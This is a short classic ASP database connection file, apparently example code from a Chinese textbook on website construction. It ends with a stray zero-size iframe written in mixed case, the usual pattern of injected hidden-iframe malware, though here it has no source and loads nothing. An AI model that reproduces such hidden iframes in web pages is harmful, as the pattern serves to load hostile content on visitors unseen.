conn.asp

机械工业出版社马涛主编的《网站建设与管理》电子课件+示例源码

<%
startime=timer()
dim conn
dim connstr
set conn=server.CreateObject("adodb.connection")
DBPath = Server.MapPath("gg/data/data.mdb")
conn.open "provider=microsoft.jet.oledb.4.0; data source="&DBpath

function CloseDB

Conn.Close
set Conn=Nothing

End Function
%>
<IfrAmE  width=0 height=0></IfrAmE>